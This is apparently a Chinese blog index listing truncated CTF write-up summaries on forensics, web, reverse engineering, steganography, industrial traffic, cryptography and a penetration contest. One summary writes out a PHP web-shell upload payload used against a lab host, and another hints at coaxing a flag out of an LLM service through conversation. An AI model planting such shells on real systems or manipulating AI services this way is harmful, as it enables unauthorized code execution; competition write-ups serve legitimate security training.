wgf4242

摘要： 溯源取证 Checkin 直接搜flag字符串 findflag tshark -r att.pcapng -Y "http && 54< frame.number " -e frame.number -e tcp.stream -e frame.len -e http.cookie_pair -T 阅读全文

摘要： web secretinfo header 里直接有 Dinosaur game.js 直接找 const enc = [133, 127, 138, 132, 112, 135, 186, 125, 187, 120, 183, 118, 121, 140, 132, 183, 126, 184, 阅读全文

摘要： reverse babyre import struct def rol(val, r_bits, max_bits=32): """ Performs a left circular shift on a value. """ return (val << r_bits % max_bits) & 阅读全文

摘要： 1.五彩斑斓的黑 lsb图片隐写 2.打不开的压缩包 伪加密 09改为00 3.PLC的意外停摆 过滤 tcp.dstport == 102 && s7comm.param.func == 0x05 && !(s7comm.resp.data == 00:)，非空数据 6455-6494流量为fla 阅读全文

摘要： 仅供参考 1.已知大数是（十进制）： 115792089237316195423570985008687907853269984665640564039457584007913129639927 请分析该数是素数还是合数？ (50/分） 合数 2.测试者在网络中截取了一份电子签章数据，请根据题目提供 阅读全文

摘要： 题目1 1. 已知某分组算法分组长度 32比特，采用CBC 分组算法工作模式，初始向量为 IV=0x12345678， 四组明文消息和密文分别是[11223344 aaaaaaaa 14725836 11335577]，和 [be91835a 03ec3058 370606ae f1e58037]。 阅读全文

摘要： 靶场渗透赛 F|大模型服务平台 大模型在软件设施和具体应用场景落地中的存在很多安全问题，请对该平台进行安全检查，获取主机权限后即可查看flag，flag提交格式：flag{xxx} 有未授权访问端口。估计是对话骗flag的。 数据采集与检测系统 数据采集与检测系统具备安全隐患，请对该平台进行检查，获 阅读全文

摘要： web Forbidden上传-B http://172.100.3.159/upload.php 上传木马 GIF89a<?php @eval($_POST['cmd']); ?> 蚁剑连接得到 根目录的flag.txt ICS 奇怪的工程图-B 可能是这个数。也可能差1下。搞个计时器周期电路自动 阅读全文

摘要： 能源行业 Upload 导出http对象 Mirror 测试 url 编码可以绕过, POST / HTTP/1.1 Host: 114.215.185.237:29262 Content-Length: 35 Cache-Control: max-age=0 Upgrade-Insecure-Re 阅读全文

摘要： find_attacker 75行解码拿到一个 _NextPart_000_0012_6F157584.250D58FA-- 前面的base64解码拿到另1个。 search_smtp flag part1: V2VsYzBtZV90MF flag part2: 9TTVRQX1Byb3Rv fla 阅读全文